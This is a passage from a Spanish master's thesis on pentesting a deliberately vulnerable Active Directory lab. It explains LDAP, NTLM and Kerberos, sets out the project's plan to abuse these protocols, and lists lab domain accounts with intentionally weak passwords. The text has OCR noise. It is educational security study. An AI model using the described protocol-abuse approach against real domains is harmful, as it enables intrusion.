criptografia y esteganografia, exploiting o forense, entre otros.

2.2.4. Certificaciones profesionales

Actualmente, las certificaciones profesionales son tremendamente valoradas por las
organizaciones, tanto de tecnologias de la informacion y la comunicacién (TIC) como de
seguridad informatica, ya que es algo que les permite a las mismas obtener una garantia de
gue la persona contratada tiene todas aquellas habilidades y conocimientos que demandan.
Por consiguiente, se van a exponer aquellas certificaciones profesionales mas valoradas y

demandadas en pentesting.

= CEH (Certified Ethical Hacker)

Se trata de una certificacion ofrecida por EC-Council que tiene una gran valoracién a
nivel mundial [23]. En ella, se pretende que la persona que obtenga la certificacién sea

capaz de buscar y encontrar vulnerabilidades (en caso de que las hubiera), asi como
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utilizar las mismas herramientas que utilizarian los cibercriminales, pero de forma legal
para ser capaces de auditar y evaluar sistemas informaticos. Pese a que es una
certificacion enormemente valorada, como se ha comentado anteriormente, la forma
de evaluacion es completamente tedrica a través de un examen que consta de 125
preguntas test de opciéon multiple, a resolver en un tiempo de 4 horas, cuya tasa de
aprobacion varia en funcién del examen, comprendiendo entre un 60% y un 85% de
preguntas correctas. No obstante, esta certificacidon tiene una variante denominada
“CEH Practical”, donde nos encontrariamos ante un examen totalmente practica,
compuesto por 20 retos a superar en un tiempo de 6 horas, cuya tasa de aprobacion
comprende un 70% de retos correctamente superados. Cabe destacar que se trata de
una certificacidn la cual tiene un periodo de renovacidn de 3 afios y cuyo precio esta
estimado en 1.800€, sin embargo, el precio puede variar en funcién del centro de

formacién que consiga la oferta.

OSCP (Offensive Security Certified Professional)

Es una de las certificaciones mas reconocidas, valoradas y demandadas a nivel mundial
en el ambito de la seguridad informatica ofensiva. Se trata de una certificacién ofrecida
por Offensive Security, organizacién que actualmente mantiene el sistema operativo
Kali Linux, como hemos expuesto anteriormente [24]. La certificacion OSCP tiene como
objetivo potenciar el aprendizaje, asi como las habilidades y conocimientos para
ejecutar ataques contra una organizacién de una forma controlada, también tiene
como objetivo la busqueda e identificacién de vulnerabilidades, asi como la realizacidon
de test de intrusién de una forma éptima, entre otras. Para ello, ofrece un curso de
formacion de preparacién a esta certificacion denominado “Penetration Testing with
Kali Linux (PEN-200)". A diferencia de la certificacion anterior, la certificacién OSCP no
tiene fecha de caducidad, por lo que una vez conseguida estaremos acreditados de por
vida. La forma de evaluacion es a través un CTF, en el cual se deberan comprometer 5
maquinas vulnerables, las cuales, en funcién de su dificultad, otorgaran una serie de

puntos, ademds todas las herramientas automatizadas de explotacién de
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vulnerabilidades estan prohibidas, por lo que todo el proceso de explotacién se debe
realizar de forma manual. Posteriormente, se deberda redactar un informe de auditoria
técnica donde se presenten los resultados de la explotacidn, teniendo un tiempo total
de 2 dias, es decir, las primeras 24 horas para comprometer las maquinas y las ultimas
24 horas para redactar el informe. La tasa de aprobacion de la certificacion debe ser

mayor o igual a 70 puntos, en caso contrario no podremos obtener la certificacion.

El precio de la misma ronda desde los 823€ (999S) hasta los 1.116€ (1.349S) en funcidn

de la tarifa elegida.

eJPT (eLearnSecurity Junior Penetration Tester)

Es una certificacidon especialmente acertada para todos aquellos que deseen iniciarse
en pentesting. Se trata de una certificacion ofrecida por eLearnSecurity que tiene como
objetivo potenciar todos aquellos conocimientos y habilidades esenciales para realizar
un test de intrusién [25]. Al igual que la certificacion OSCP, no tiene fecha de
caducidad, por lo que una vez conseguida estaremos acreditados de por vida. La forma
de evaluacién es completamente practica, ya que tendremos 3 dias para resolver 20
retos disefiados para ser lo mas parecidos posibles a entornos reales. En esta ocasién
y puesto que es una certificacién para aquellas personas que deseen iniciarse en
pentesting, se permiten herramientas automatizadas de explotacion de
vulnerabilidades. El precio de esta certificacion es mds econdmico que las anteriores

certificaciones, puesto que su precio se sitla en torno a los 166€ (2008S).

2.3. Servicio de Directorio

El Servicio de Directorio es un término que se utiliza para referirse a la informacién contenida

de usuarios y recursos que se encuentran en una red informatica, la cual se basa en una serie

de atributos, sin embargo, no solo se considera Servicio de Directorio a dicha informacién,

sino que también lo compone todo aquel hardware y software que gestiona la informacién, o

incluso las aplicaciones que trabajan con ella. Por tanto, se puede afirmar que un Servicio de
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Directorio es una infraestructura tecnologia compartida de informacién que permite
administrar y organizar componentes y recursos comunes de una red informatica, entre los
gue se pueden incluir usuarios, grupos, impresoras, carpetas, etc., denominados objetos.
Aunque el Servicio de Directorio bien sea una base de datos optimizada para accesos de

lectura, es un error comun tomarlo como una base de datos relacional de propdsito general.

Su modelo de servicio esta basado en el estandar X.500 [26], aprobado por primera vez en el
afio 1988 y creado por el Sector de Normalizaciéon de las Telecomunicaciones de la Unién
Internacional de Telecomunicaciones (UIT-T). Posteriormente, la Organizacion Internacional

de Normalizacién (1SO) lo incorpord al estandar ISO/IEC 9594 [27].

Este estdndar organiza los objetos del Servicio de Directorio de una forma jerdrquica, lo que
permite una busqueda facilmente escalable, aunque se hayan almacenado grandes
cantidades de informacion, formando un arbol. La forma de implementar esta organizacion es
mediante el Protocolo Ligero de Acceso a Directorios (LDAP), el cual es un protocolo a nivel de
aplicacion dentro del modelo de capas del modelo TCP/IP. La versidn actual del protocolo es
LDAPv3, definido en el RFC 4511 [28]. En cuanto a la forma de estructuracion de la informacion
que utiliza este protocolo, las entradas almacenadas se representan en objetos, como se ha
comentado anteriormente, estos objetos pueden representar un conjunto real o abstracto, es
decir, pueden representar a una persona real, un ordenador, una impresora, un
departamento, etc. En la Figura 2 es posible observar de una forma grafica la estructuracién
en forma de drbol mencionada, donde también es posible apreciar los objetos que pertenecen

al arbol.
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Figura 2. Estructuracion del protocolo LDAP

Cada objeto dispondra de una serie de atributos que le permite ser reconocido e indexado
dentro de la estructura jerdrquica en arbol. Entre los atributos que se suelen utilizar de forma

regular se encuentran:

e Domain Name (dn): Nombre de la entrada, no es ningun atributo y por tanto no forma
parte de esta, solo representa la entrada.

e User ID (uid): Atributo que representa la identificacién Unica del objeto.

e Common Name (cn): Atributo que representa el nombre distinguido del objeto.

e Domain Component (dc): Atributo que representa el dominio al cual pertenece el

objeto.
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e Organizative Unit (ou): Atributo que representa al departamento o seccién a la cual
pertenece el objeto dentro del dominio.

e objectClass: Atributo que representa el tipo del objeto.

e givenName: Atributo que representa el nombre de pila del objeto.

e Surname (sn): Atributo que representa el apellido del objeto.

La forma de representar las entradas dentro del protocolo LDAP es mediante el formato LDAP
Data Interchange Format (LDIF), ya que LDAP es un protocolo binario. Este formato utilizara
los atributos mencionados para crear las entradas dentro de la estructura jerarquica y
posteriormente la tecnologia que implemente el Servicio de Directorio realizara la traduccion
a formato binario para que se materialice. En la Figura 3, es posible apreciar un ejemplo de
una entrada simple en formato LDIF donde se aprecian todos aquellos atributos mencionados

anteriormente.

dn: uid=alwars,ou=Cybersecurity,dc=example,dc=net
uid: alwars

cn: Alvaro Temporal

givenname: Alvaro

sn: Temporal

mail: alwars@cybersecurity.example.net
objectClass: inetOrgPerson

objectClass: organizationalPerson

. objectClass: person

10. objectClass: top

O 00 NGOV A WN PR

Figura 3. Ejemplo de entrada de directorio en formato LDIF

2.3.1. Tecnologias que implementan el Servicio de Directorio

Una vez comprendido como funciona, a grandes rasgos, el Servicio de Directorio, existen
tecnologias y aplicaciones que basandose en el protocolo LDAP, han sido capaces de llevar
este servicio mas allad haciéndolo interoperable en entornos reales. A continuacién, se van a
exponer todas aquellas tecnologias que implementan este servicio, las cuales son las mas

utilizadas actualmente en entornos empresariales reales.
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Active Directory

Active Directory, o cominmente conocido como AD, es la implementacién del Servicio
de Directorio que fue realizada por la compafiia Microsoft, cuya primera versién fue
utilizada para Windows Server 2000, posteriormente se ha ido mejorando con cada

nuevo lanzamiento del sistema operativo Windows Server [29].

La compaiiia Microsoft desarrolld Active Directory en base a un Servicio de Directorio
cuyo funcionamiento es similar a las infraestructuras LDAP, es decir, Active Directory
conforma una base de datos distribuida que permite almacenar los recursos de una red
(objetos) con la finalidad de facilitar su administracién. Por consiguiente, un usuario
podra utilizar los servicios que ofrece Active Directory para consultar el listado de
servidores o impresoras disponibles, entre otras acciones. Precisamente, el servidor de
directorio que ofrece dichos servicios se denomina controlador de dominio, el cual se
encarga de autenticar y autorizar a todos los usuarios y equipos existentes en una red
implementada por Active Directory. Ademas, este Servicio de Directorio, facilita en gran
medida la administracién de toda la red, ya que puede establecer politicas de seguridad
de manera globalizada en toda la red, asi como la instalacidn de actualizaciones de

seguridad.

Una vez se tiene una visidn general de que es y en que consiste Active Directory, se van

a exponer una serie de conceptos necesarios:

e Dominio: Se trata de la estructura ldgica principal. Contiene todos los objetos que

conforman los subconjuntos administrativos.

e Protocolo DNS: Este protocolo es de vital importancia para Active Directory, ya

gue es utilizado para la resolucion de nombres de dominios.

e Controlador de dominio (DC): Se trata de un equipo informatico que estd
ejecutando alguna versién del sistema operativo Windows Server y contiene la

base de datos de objetos del directorio para un determinado dominio, asi como
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toda aquella informacién relativa a su seguridad. Es el equipo encargado de la

autenticacion de objetos dentro del dominio.

e Arbol: Es un conjunto de dominios que se encuentran organizados siguiendo una

jerarquia dentro de un espacio de nombres DNS comun.

e Bosque: Es un conjunto de arboles que siguen una estructura jerarquica. Los
bosques estan conectados entre si gracias a las relaciones de confianza. Estas

relaciones de confianza los diferentes dominios pueden compartir recursos.

e Relaciones de confianza: Son relaciones entre dominios, drboles y bosques, lo
gue permite a un usuario de un dominio autenticarse en otro dominio y acceder
a sus recursos. Existen las relaciones de confianza unidireccionales y

bidireccionales.

/ DOMNIO ADY

ARBOL

.
RN
y \
y \
S ou )\
// DOMINIO AD\ N

/ | ou | e ou |

oo\ . DOMINIO DE ACTIVE DIRECTORY

Figura 4. Representacion Idgica de una estructura de Active Directory
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En la Figura 4 se muestra una representacion légica de la estructura y organizacion de
Active Directory, donde podemos encontrar dominios, arboles, asi como un bosque y
sus relaciones de confianza. Asimismo, Active Directory utiliza diferentes protocolos
como LDAP, el cual hemos expuesto anteriormente, DNS o DHCP, entre otros.
Respecto a la autenticacidon, es capaz de soportar tanto el protocolo Kerberos, como
el protocolo NT LAN Manager (NTLM), siendo Kerberos el protocolo preferido para la

autenticacion.

Open LDAP

OpenLDAP se trata de una alternativa a Active Directory. Es una implementacion de
software libre del protocolo LDAP realizada por el Proyecto OpenlLDAP, cuya primera
version surgié en el afio 1998 en la Universidad de Michigan (Estados Unidos) [30].
OpenLDAP es una implementacion multiplataforma, es decir, una de las grandes ventajas
gue presenta OpenLDAP frente a otras implementaciones de software libre es que los
sistemas que son capaces de soportarla son los mas utilizados actualmente (Windows,
Linux, Mac, Solaris, etc.).

El funcionamiento de este Servicio de Directorio resulta extremadamente similar a la
implementacién existente del protocolo LDAP, ya en sus inicios OpenLDAP era un clon
del protocolo LDAP, cuya finalidad era mejorarlo y evolucionarlo. Aunque se puede
utilizar para diferentes acciones como la construccion y el desarrollo de una
infraestructura de clave publica, la accion mas comun es la administracién centralizada

de usuarios.

Apache Directory

Apache Directory es, de nuevo, una alternativa a Active Directory. Es un proyecto de
Apache Software Foundation que surgido en 2002 [31]. Actualmente, esta
implementacién del Servicio de Directorio estda compuesto principalmente por tres

subproyectos:
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Apache Server: Se trata de un servidor LDAPv3 implementado en Java compatible
con el protocolo Kerberos. Permite una configuracién sencilla gracias al formato
LDIF e incluye soportes para crear politicas de contraseiias.

Ademas, se trata de un servidor multiplataforma compatible con la mayoria de

los sistemas utilizados en la actualidad (Windows, Linux, Mac).

Apache Directory Studio: Es entorno de desarrollo integrado basado en Eclipse
RCP que permite editar y desarrollar nuevas funcionalidades en el servidor

LDAPv3.

Apache API LDAP: Se trata de la interfaz de programacién de aplicaciones de
Apache Directory LDAP que pretende reemplazar la interfaz de programacion de
aplicaciones de Java para Servicios de Directorio (JNDI), asi como las demas
interfaces LDAP existentes (jLDAP, Mozilla LDAP API, etc.). Esta API no solo va
dirigida a servidores de Apache Directory, sino que va dirigida a cualquier servidor

LDAP.

28



Alvaro Temporal Palomares
Pentesting de entornos Active Directory vulnerables

3. Objetivos y metodologia del proyecto

3.1. Objetivos

Lo que se pretende con este proyecto es desplegar un entorno basado en Active Directory,
gue presente multiples vulnerabilidades para demostrar como un atacante, fuera del entorno
de directorio activo, puede llegar a comprometer todo el entorno para hacerse con el control
del administrador de dominio. Gracias a este proyecto, es posible poner de manifiesto todas
aquellas vulnerabilidades conocidas, asi como errores de configuracién que nos llevan a que

un atacante pueda vulnerar la seguridad y comprometer el directorio activo.

Por tanto, el objetivo general que persigue el proyecto se trata de la creacién de un entorno
vulnerable de directorio activo, mediante Active Directory, que ponga de manifiesto
vulnerabilidades conocidas y errores de configuracidn, para asi poder realizar varios test de

intrusiéon (pentesting) que comprometan el entorno en su totalidad.
= Objetivos especificos

1. Entender las vulnerabilidades conocidas de Active Directory

2. Facilitar la compresiéon del analisis de vulnerabilidades, a través de las

diferentes vulnerabilidades que presenta el entorno.
3. Mejorar y potenciar los conocimientos en seguridad informatica ofensiva.
4. Reforzar las habilidades de pentesting y hacking ético.

5. Indagar entre las diferentes herramientas de seguridad informatica ofensiva

que apliquen al pentesting de Active Directory.

6. Explotar las vulnerabilidades para analizar el impacto que provoca sobre el

entorno.
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3.2. Metodologia

Para elaborar el presente proyecto como parte del Trabajo Fin de Mdaster (TFM), se ha
recogido una gran cantidad de informacion sobre ataques a sistemas y redes de Microsoft.
Gran parte de la informacidn recogida trata sobre técnicas y herramientas para la explotacién
de vulnerabilidades conocidas, asi como todos aquellos conceptos para la realizacion de un
pentesting que merece la pena conocer. Cabe destacar una gran fuente de informacién y
conocimiento corresponde a los libros de la editorial OxWord: “Hacking Windows: Ataques a
sistemas y redes Microsoft” [32] y “Ethical Hacking: Teoria y prdctica para la realizacion de un
pentesting” [33]; no obstante, también se ha obtenido una gran cantidad de informacion,
conocimiento, técnicas y herramientas de aquellas mdquinas vulnerables publicadas en la
plataforma Hack The Box que tienen relacidon con Active Directory, como pueden ser las

maquinas “Sauna” [34] o “Resolute” [35], entre otras.

Posteriormente, y una vez se ha recopilado toda la informacién, conocimientos, técnicas y
herramientas, se realizé un andlisis y se seleccionaron aquellos ataques conocidos a Active
Directory, asi como las técnicas y herramientas que hacen posible el ataque, considerando el

mayor impacto posible dentro del mismo.

Una vez seleccionados los ataques, tocaba construir el entorno controlado mediante
maquinas virtuales que nos serviria como laboratorio de pruebas de todos aquellos ataques
seleccionados. Se definiran cuales son los objetivos fundamentales en este tipo de entornos,
asi como se clasificaran los activos criticos y las cuentas dentro del dominio que se consideran
importantes. La utilizacidon de las diferentes técnicas implicara que se abusen de protocolos
de autenticacién como NTLM o Kerberos. También se tratard de identificar todas aquellas
cuentas locales que se generan por defecto en un servidor Windows a la hora de generar el

dominio, ya que también se abusara de estas cuentas para tratar de comprometer el entorno.

Tras la finalizacién de cada uno de los ataques, se redactaran una serie de mitigaciones y
conclusiones del ataque en cuestion. En la Figura 5, es posible apreciar un diagrama de la

metodologia seguida para la realizacién del proyecto.
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Figura 5. Metodologia sequida para la realizacion del proyecto
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4. Desarrollo del proyecto

En el capitulo actual se explicaran todos aquellos conceptos previos considerados necesarios

para la correcta comprension del proyecto. Posteriormente, se detallard el entorno de

pruebas de Active Directory utilizado en este capitulo para seguidamente, explicar todos

aquellos ataques de explotacidn y post-explotacion realizados en dicho entorno. Finalmente,

se explicardn aquellas medidas de mitigacion que podriamos implantar para reducir el

impacto.

4.1. Conceptos previos

NT LAN Manager (NTLM)

NT LAN Manager (NTLM) [36] se trata de un protocolo de autenticacion desarrollado
por Microsoft para la comunicacidon entre maquinas Windows. Este protocolo surgié
como mejora del protocolo LAN Manager (LM), el cual fue sumamente utilizado por
Microsoft, aunque este no fue el desarrollador, ya que su inventor fue la organizacién
IBM. Cabe destacar que el protocolo LM es un protocolo que tan solo se encuentra
habilitado por defecto en sistemas Windows XP y Windows Server 2003, ademas es un

protocolo obsoleto ya que se considera inseguro.

NTLM, es un protocolo que permite la autenticacién mediante desafio/respuesta, por
lo gue no es necesario enviar la contrasefia ya que en su lugar se realiza una operacion

matematica para demostrar la veracidad del cliente ante el servidor.

Gracias a la Figura 6, es posible detallar de forma gréfica el proceso de autenticacion

NTLM en un entorno de Active Directory:

1. Elusuario accede a su maquina e introduce sus credenciales de inicio de sesidén, es
decir, su nombre de usuario, contrasefia y nombre de dominio de Active Directory.
La maquina del cliente crea un hash de la contrasefia y elimina la contrasena en
texto plano.
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La maquina del cliente envia al servidor su peticiédn de autenticacién junto con su

nombre de usuario y el dominio contra el que se quiere autenticar.

El servidor genera un nimero aleatorio y se lo envia a la maquina del cliente a modo

de desafio.

La maquina del cliente recibe el nimero aleatorio, lo cifra utilizando el hash de la

contrasefia del usuario y lo envia al servidor a modo de respuesta a su desafio.

El servidor recibe la respuesta por parte de la maquina del cliente, obtiene el
nombre de usuario, el desafio enviado y la respuesta recibida. Es entonces cuando
suponemos que el servidor también es el controlador de dominio y por tanto
contiene todas las credenciales de todos los usuarios del dominio. Comprueba el
nombre de usuario, busca y recupera el hash de la contrasefa asociada a dicho
usuario en su base de datos y cifra el desafio enviado. Acto seguido, realiza una
comparacion de las respuestas, si ambas respuestas son idénticas la autenticacién

se considera correcta.

Peticién de autenticacion
Envio de dominio y usuario
(ACME/usuario_dominio)

® >

Desafio NTLM

Respuesta al desafio NTLM

©
(T

D R —

Confirmacién o rechazo de la respuesta al

desafio
®

Controlador de dominio ACME

<
Credenciales del usuario @-7 >
<

Cliente Servidor

Figura 6. Autenticacion NTLMv2 mediante credenciales de usuario de Active Directory

Una vez hemos conocido como se realiza el proceso de autenticacién del protocolo
NTLM, merece la pena indagar en la historia de este protocolo para poder entenderlo

de una forma mucho mas profunda.
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En el afio 1993, Microsoft pretendia solventar los problemas e imperfecciones de los
hashes LM, introduciendo NTLMv1. Este nuevo protocolo introduce los hashes NT, los
cuales se consideran una mejora respecto a los hashes LM, ya que son hashes MD4 que
presentan una longitud de 16 bytes (128 bits) y permite diferenciar entre minudsculas y
mayusculas, caracteristicas que no poseian los hashes LM. No obstante, aunque el hash
haya cambiado, la forma de autenticacién funciona de la misma manera que se ha
mostrado anteriormente en la Figura 6, presentando un cambio en la respuesta al
desafio. Gracias a la Figura 7, es posible detallar a bajo nivel, y de forma grafica el

proceso de construccion de la respuesta al reto en el protocolo NTLMv1:

1. El hash NT se divide en tres partes, es decir, dos partes de 7 bytes cada una y una

parte de 2 bytes a la que se le afiaden cinco caracteres nulos (‘\0’) de relleno.

2. Mediante el algoritmo criptografico DES (criptografia simétrica en bloque) y
utilizando cada una de las partes del hash NT como clave de cifrado, se cifra el

desafio NTLM.

3. La salida resultante del desafio, cifrado con cada una de las partes del hash NT
tomadas como clave de cifrado, se enlazan para formar la respuesta que le sera

enviada al servidor.

Pese a que este protocolo resolvia algunos de los errores de seguridad presentes en el
protocolo LM, no termina de ser lo suficientemente robusto y presenta varias e importantes
limitaciones, comenzando por el algoritmo de cifrado DES, el cual no se considera un algoritmo
de cifrado suficientemente robusto e incluso en la actualidad es un algoritmo de cifrado
inseguro. Seguidamente, es evidente que la tercera clave de cifrado es débil, ya que estd
compuesta por cinco caracteres nulos, ademas no se realiza un cifrado concatenado de
bloques, es decir, cada una de las partes se pueden atacar de forma independiente ante la
ausencia de difusién.

Ante la falta de robustez del protocolo NTLMv1, Microsoft decidié evolucionar el protocolo

dotandolo de varias mejoras, naciendo asi el protocolo NTLMv2.
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Parte 1 cifrada

8 bytes

Parte 2 cifrada

8 bytes

Parte 3 cifrada

8 bytes

>

Figura 7. Construccion de la respuesta al desafio NTLMv1

Respuesta al
desafio

24 bytes

Aunque el protocolo NTLMv2 es una mejora del protocolo NTLMv1l mantiene los

hashes NT, asi como la forma de autenticacién que se ha mostrado anteriormente en

la Figura 6, con la particularidad de que la respuesta al desafio enviada por el cliente

ird compuesta por dos paquetes:

1. El primer paquete mantiene el tamafio de 24 bytes e ira compuesto por dos

mensajes:

a) El primer mensaje estd compuesto por el HMAC1 en MD5 de una cadena de

texto formada por el usuario y el dominio, en el que se utiliza el hash NT

como clave de cifrado. Dicho HMAC1 se utiliza como clave de cifrado para

cifrar el desafio NTLM enviado por el servidor. El resultado final, HMAC2

tiene una longitud de 16 bytes.
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b) El segundo mensaje es un desafio aleatorio enviado por el cliente que

presenta una longitud de 8 bytes.

2. El segundo paquete se forma a partir de una marca de tiempo y de algunos
valores como el desafio enviado por el cliente, ademas no presenta un tamaiio

fijo, sino que varia segun la autenticacion.

— — ==
Respuesta al desafio NTLM | Desafio del cliente 5
N~ —
1
I
Cliente Servidor
Controlador de dominio ACME
Key Key

I |
| |
| mesnwtenwos | T | MM | e | M |
| |
| ﬁ ﬁ |
| |
| |
| |
| |

Usuario
Desafio NTLM del Desafio del
servidor cliente

Dominio

Figura 8. Construccion de la respuesta al desafio en NTLMv2

Pese a que el protocolo NTLMv2 ha conseguido mitigar muchas debilidades de su
antecesor, algunas siguen perdurando hoy en dia, debilidades que se atacaran mas

adelante en este mismo capitulo.
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Kerberos

El protocolo Kerberos fue creado por el Instituto Tecnoldgico de Massachusetts (MIT)
a finales de la década de 1980 [37], como un protocolo de autenticacién mutua, a
diferencia del protocolo anterior que utilizaba una autenticacion basada en
desafio/respuesta, como se ha comentado anteriormente. El cliente verifica la
identidad del servidor al tiempo que el servidor verifica la identidad del cliente.
Microsoft comenzé a utilizar el protocolo Kerberos a partir de los sistemas Windows
2000 y debido a las grandes virtudes que presenta en cuanto a la autenticacién, es un
protocolo vigente en Active Directory. Ordinariamente, es un protocolo que presenta
mayor robustez que otros protocolos de Microsoft, e incluso se utiliza de forma
predeterminada para la autenticacion de los usuarios, uso de determinados servicios
dentro del dominio y para la comunicacién en las relaciones de confianza con otros

dominios.

Este protocolo dispone de una serie de elementos que son necesarios conocer para
poder entender de manera correcta como se realiza la autenticacién y como es posible

usar los servicios que estan a disposicidon en un dominio de Active Directory:

1. Key Distribution Center (KDC): Se trata de una parte del controlador de dominio
que se encarga de ejecutar los procesos internos, conocidos cominmente como
tickets. Estd formado por el Authentication Server (AS), encargado de la
autenticacion de los clientes, y por el Ticket-Granting Server (TGS), encargado de

emitir accesos a los servicios del dominio.

2. Tickets: Son aquellos procesos internos que funcionan como autenticacién del
cliente por parte del controlador de dominio y/o como autorizacion por parte del
KDC para acceder a determinados servicios. Existen varios tipos de tickets en

funcién de la operacidn a realizar:

a) Ticket-Granting Ticket (TGT): Se trata de un ticket que recibe el usuario por

parte del KDC al autenticarse en el dominio.
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b) Ticket-Granting Service (TGS): Se trata de un ticket que recibe el cliente por
parte del KDC cuando quiere usar un servicio determinado. Cabe destacar
gue este ticket solo le serd entregado al cliente al presentar su ticket TGT al

KDC.

Mediante la Figura 9 es posible detallar de una forma gréfica el proceso de

autenticacion y solicitud de un servicio en el protocolo Kerberos:

1. El primer paso del diagrama hace referencia a la autenticacién del usuario dentro
del dominio, es decir, cuando un usuario introduce sus credenciales de acceso, de
forma totalmente transparente ha solicitado un ticket TGT con el que poder pedir
acceso a los diferentes servicios presentes en el dominio. El mensaje enviado al AS,
presente en el KDC, se trata de un mensaje a nivel de red denominado
Authentication Server Request (AS-REQ) formado por el nombre de usuario, una

solicitud Kerberos y una marca de tiempo cifrada con el hash NT de dicho usuario.

2. Una vez el AS ha recibido la peticidn del usuario, descifra la marca de tiempo con
el hash NT de dicho usuario para comprobar la identidad del usuario. Cuando la
identidad ha sido correctamente validada, el AS le envia al usuario un ticket TGT y
una clave de sesion, para que pueda solicitar acceso a los servicios presentes en el
dominio. El mensaje enviado por el AS es un mensaje a nivel de red denominado
Authentication Server Response (AS-REP) compuesto por el nombre de usuario, una
clave de sesién y tiempo de vida del ticket TGT y el propio ticket TGT, el cual
contiene el Privilege Attribute Certificate (PAC), asi como informacién sobre el
propio usuario y los grupos a los que pertenece. Cabe destacar que el ticket TGT va
cifrado por el hash NT del usuario KRBTGT, este usuario existe en todos los
controladores de dominio y es de vital importancia no eliminarlo o modificarlo para
el correcto funcionamiento del protocolo Kerberos dentro de Active Directory. En
este mismo capitulo, mds adelante veremos como este usuario pondrd de
manifiesto una vulnerabilidad que nos permitird obtener persistencia en un

domino.
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3. Cuando el usuario posea su ticket TGT y quiera acceder a un determinado servicio
dentro del dominio, enviara su ticket TGT al KDC, mas concretamente al TGS, para
qgue este le envie un ticket TGS que le permita acceder al servicio que estd
solicitando. El mensaje enviado al TGS, se trata de un mensaje a nivel de red
denominado KRB_TGS Request (KRB_TGS_REQ) compuesto por el nombre Unico
del servicio solicitado, denominado Service Principal Name (SPN), el nombre de
usuario junto con una marca de tiempo ambos cifrados con la clave de sesidn del

ticket TGT y el propio ticket TGT.

4. Una vez el TGS haya recibido el ticket TGT del usuario y haya comprobado que es
correcto, este le enviard un mensaje donde se encontrard el ticket TGS para
acceder al servicio del dominio que estaba solicitando. El mensaje enviado al
cliente, se trata de un mensaje a nivel de red denominado KRB_TGS Response
(KRB_TGS_REP) compuesto por partes: la primera parte es solo interpretable por
el cliente, estd compuesta por el nombre del servicio junto con una marca de
tiempo y una clave de sesién del servicio, mientras que la segunda parte es solo
interpretable por el Servidor del Servicio (SS), estd compuesta por el nombre de
usuario junto con el nombre del servicio, la clave de sesion del servicio, los

permisos del usuario y una marca de tiempo que indica la creacién del ticket TGS.

5. Elcliente que ha recibido el ticket TGS, podra solicitar al Servidor de Servicio (SS) la
utilizacién de dicho servicio que ofrece enviando su propio ticket TGS a través de
un mensaje. El mensaje enviado al SS se trata de un mensaje a nivel de red
denominado KRB_AP Request (KRB_AP_REQ) compuesto por el propio ticket TGS
del usuario, asi el SS puede comprobar la identidad del usuario ya que el ticket esta
cifrado con la clave de sesidon del servicio. Adema3s, existen varias comprobaciones
gue se pueden realizar para mejorar la seguridad del domino como la verificacién

del SS por parte del cliente o incluso la verificacién del PAC.
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Figura 9. Diagrama de funcionamiento del protocolo Kerberos

Tras conocer el funcionamiento del protocolo Kerberos y una vez se han detallado
todos los pasos, tickets y mensajes que son intercambiados, es posible llegar a pensar
gue este protocolo es lo suficientemente robusto como para ofrecer una buena
seguridad en un entorno Active Directory, no obstante, existen debilidades de las que
un atacante se puede aprovechar para ganar persistencia de forma permanente o
incluso para acceder a cualquier servicio que se esté ofreciendo dentro del dominio,
ademads de todas aquellas técnicas y herramientas que son capaces de burlar la
seguridad que ofrece este protocolo. Merece la pena mencionar que estamos ante un
protocolo sin estado, es decir, el KDC no almacena ninguln tipo de registro con las
operaciones realizadas, por lo que siempre dependera de los tickets presentados, ya

gue estos seran aquellos que verifiquen siempre al usuario.
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4.2. Entorno vulnerable de pruebas

Para preparar el entorno vulnerable, donde se realizardn los diferentes ataques a Active
Directory, se ha utilizado el software de virtualizaciéon conocido como VMware Wokstation 15.
Gracias a este software de virtualizacion se ha podido construir un laboratiorio de pruebas
donde poder desarrollar este proyecto, este laboratorio de pruebas estd compuesto por un
total de cuatro maquinas virtuales, es decir, una maquina que actuara con el rol de atacante,
con el sistema operativo Kali Linux 2021.1 y tres maquinas Microsoft (Windows Server 2019,
Windows 10 y Windows 7) que seran aquellas que conformaran el entorno/dominio

vulnerable de Active Directory.

El segmento de red donde estara conectado tanto el entorno/dominio vulnerable de Active
Directory, como la maquina que tiene el rol de atacante, corresponde a la direccién
192.168.200.0/24. A continuacidn, en la Tabla 1, se detallan aquellas caracteristicas de red de
las maquinas virtuales y gracias a la Figura 10, es posible observar un diagrama del entorno

vulnerable de pruebas Active Directory que se ha creado:

Tabla 1. Detalles de red de las maquinas virtuales que conforman el entorno de pruebas

Maquina Direccion IP Gateway DNS

Microsoft Windows Server

192.168.200.129 192.168.200.2
2019
Microsoft Windows 10 192.168.200.130 192.168.200.2 192.168.200.129
Microsoft Windows 7 192.168.200.131 192.168.200.2 192.168.200.129
Kali Linux 2021.1 192.168.200.128 192.168.200.2
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Controlador de dominio de Active Directory

Domain Controller — Wserver 2019
Windows Server 2019
IP: 192.168.200.129

NETMASK: 255.255.255.0
GW: 192.168.200.2

AWRSCOMPANY.LOCAL

192.168.200.0/24

Kali — alwars

Kali Linux 2021.1

I1P: 192.168.200.128
GW. 192.168.200.2

Equipo del atacante no unido al dominio de

Active Directory

Figura 10. Diagrama del entorno vulnerable de pruebas Active Directory

PC1-W10 PC2 -W7
Windows 10 Windows 7
IP: 192.168.200.130 IP: 192.168.200.131
GW: 192.168.200.2 GW: 192.168.200.2
DNS1: 192.168.200.129 DNS1: 192.168.200.129

Clientes Windows unidos al dominio de Active Directory

Como se puede observar en la figura anterior, dentro de este segmento de red se ha creado

un dominio de Active Directory que se ha denominado awrscompany.local. Tras la correcta

instalacion de todas las maquinas virtuales, vamos a definir los usuarios a nivel de dominio

gue vamos a utilizar en este laboratorio de pruebas:

Tabla 2. Definicién de usuario a nivel de dominio de Active Directory

Nombre de

usuario

Administrador

Contraseiia Nombre completo Descripcion

Cuenta integrada
P@sswOrD! parala
administracién del

equipo o dominio

Administrador

Controlador

de

dominio de Active

Directory
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Becario del
miles.morales Spiderman!06 Miles Morales departamento de
redes
Jefa del
leyre.garcia HHIN@3wmfH## Leyre Garcia departamento de PC1-W10
redes
Cuenta de respaldo Controlador de
admin.it P@ssword123 AdminIT del administrador dominio de Active
delT Directory
awrs.batcprocess IqW2#eR4 BatchProcess Proceso batch PC1-W10
PC2-W7
Cuenta de
administrador.
Eliminar tras el Controlador de
admin.test AdministratOrl AdminTest orimer uso. dominio de Active
Password Directory

--> AdministratOrl

En la Tabla 2 se especifican los usuarios que van a existir dentro del dominio de Active
Directory, en ella es posible observar el nombre de usuario, su contrasefia, el nombre
completo, la descripcidon del usuario y aquellas maquinas donde tiene permisos como
administrador. Una vez definidos los usuarios a nivel de dominio, es importante destacar la

configuracion que se ha seguido dentro de estas:

=  MaAaquina Kali Linux: Al tratarse de una maquina que actuara con el rol de atacante, se
ha decidido crear un entorno de trabajo profesional dentro de esta propia maquina,
